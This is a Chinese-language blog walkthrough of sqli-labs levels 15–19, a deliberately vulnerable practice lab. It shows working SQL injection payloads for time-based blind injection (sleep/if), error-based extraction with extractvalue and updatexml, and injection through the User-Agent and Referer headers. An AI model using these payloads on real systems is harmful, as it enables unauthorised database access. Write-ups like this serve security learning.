sqli-lab 15到19
第15题
发现不管输入什么都不报错
应该是没有回显的,所以考虑时间盲注:
先判断闭合方式:
建议拿' 、" 、') 、") 、) 、)) 、一个一个试:
时间盲注应该这样试:
1 | uname=11&passwd=1' or sleep(4)-- -&submit=Submit |
这里注意,刚开始试了很多次全都没有反应,查了一下,原来是考虑欠周:
在get方式传参中如果写成id=1' and sleep(2)-- -会有反应,因为id=1本来就是正确的,但在post方式中不能直接使用and,因为并不存在这个username=1,password=1的用户,所以这里应该用or
不知道其他那些教程里面使用and是怎么成功的。
知道是时间盲注,现在使用bp判断闭合方式:
在bp里sleep之后会直接卡掉,但也无所谓,有反应就行
可以看到为' 时发生了反应
闭合方式为'
之后时间盲注:
使用if函数:
1 | 1' or if (length(database())=8,sleep(2),1)-- - |
爆库名:
才发现并不会一直白屏,而是休眠两秒后恢复正常。
就这样一直判断。。。
1 | or if (mid(( select table_name from information_schema.tables where table_schema= 'security' limit 1,1),1,1)= 'e' ,sleep(1),1); |
mid函数可以换成substr。。。
强烈建议运行之前现在自己的datagrip里试试有没有错误,不然这里看着很麻烦
之后不再演示
到了时间盲注其实学个思想就行,没必要手动一个一个试了,不然这得什么时候搞完,
kali
第16题
与上一题基本一样,除了闭合方式:
为”)闭合方式。
其余交给kali吧。。。
第17题
这道题开始有点难度了
打开是这个界面
此时无论输入什么都是没有反应的,
查看源码:可以看到是有个输入检测函数的,
但这个检测函数只对uname进行了过滤。
看他的查询函数:
是首先通过uname对username和password查询,然后对于查到的用户更新密码,密码为你输入的password
所以前提是输入一个正确的username
这里已经知道一个争取的username:Dumb,如果在不知道这个用户名的情况应该怎么做?不知道
先找闭合方式:
1' or 1=1-- -不报错,所以是'闭合
可以看到是只对报错信息有回显,因此是报错注入
1 | uname=Dumb&passwd=1' or extractvalue(1,concat(0x7e,database()))-- -&submit=Submit |
上道题说过post方式注入中,最好用or别用and,但这道题好像用or的话不会有显示:
使用and吧。。
1 | uname=Dumb&passwd=1 ' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=' security' limit 1,1)))-- -&submit=Submit |
其他与之前一样了。
第18题
查看源码,这次是对username和password都进行了check
因此不能对username和password进行注入了,
查看源码:
发现还有一条sql语句,是插入uagent的,可以考虑user-agent注入:
这道题应该是我环境有问题,我useragent尝试了各种payload都没有反应,
先过了吧这道题
。。。又回来了,谁能想到这道题还要输入正确的账户名密码???
离谱啊,浪费我一个上午时间都没搞好
直接useragent注入。。
通过他的插入语句可以看到补全方式应该如下:
1',1,1)-- -
爆库名
1 | 1',1 or extractvalue(1,concat(0x7e,database())),1)-- - |
爆表名
1 | 1 ', updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=' security' limit 1,1)),1),1)-- - |
其余都一样了。
第19题
直接查看源码
同样对用户名和密码都进行了检查。
跟上一题类似
这道题是refer注入:
通过输入拼闭合方式:
爆库名:
1 | 1',extractvalue(1,concat(0x7e,database())))# |
爆表名:
1 | 1 ',extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=' security' limit 3,1))))# |
剩下同理。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现